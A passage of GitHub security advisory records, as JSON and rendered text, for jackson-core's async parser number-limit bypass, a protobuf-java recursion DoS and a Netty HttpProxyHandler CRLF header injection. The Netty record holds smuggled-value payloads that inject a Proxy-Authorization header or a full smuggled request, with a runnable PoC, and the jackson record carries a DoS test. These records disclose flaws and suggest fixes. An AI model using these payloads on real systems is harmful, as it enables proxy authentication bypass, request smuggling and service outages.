"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "netty-handler SniHandler 16MB allocation"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-735F-PC8J-V9W8
Vulnerability from github – Published: 2024-09-19 16:06 – Updated: 2025-09-10 20:53Summary
When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.
Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com
Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.
Severity
CVE-2024-7254 High CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.
Proof of Concept
For reproduction details, please refer to the unit tests (Protobuf Java LiteTest and CodedInputStreamTest) that identify the specific inputs that exercise this parsing weakness.
Remediation and Mitigation
We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: * protobuf-java (3.25.5, 4.27.5, 4.28.2) * protobuf-javalite (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) * com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.25.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0.rc.1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "google-protobuf"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0.rc.1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin-lite"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-kotlin"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-javalite"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.27.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.google.protobuf:protobuf-java"
},
"ranges": [
{
"events": [
{
"introduced": "4.28.0-RC1"
},
{
"fixed": "4.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-7254"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T16:06:03Z",
"nvd_published_at": "2024-09-19T01:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team \u003cecosystem@trailofbits.com\u003e\n\nAffected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n### Severity\n[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)\nThis is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness.\n\n### Remediation and Mitigation\nWe have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:\n* protobuf-java (3.25.5, 4.27.5, 4.28.2)\n* protobuf-javalite (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)\n* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)",
"id": "GHSA-735f-pc8j-v9w8",
"modified": "2025-09-10T20:53:03Z",
"published": "2024-09-19T16:06:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241213-0010"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250418-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "protobuf-java has potential Denial of Service issue"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY 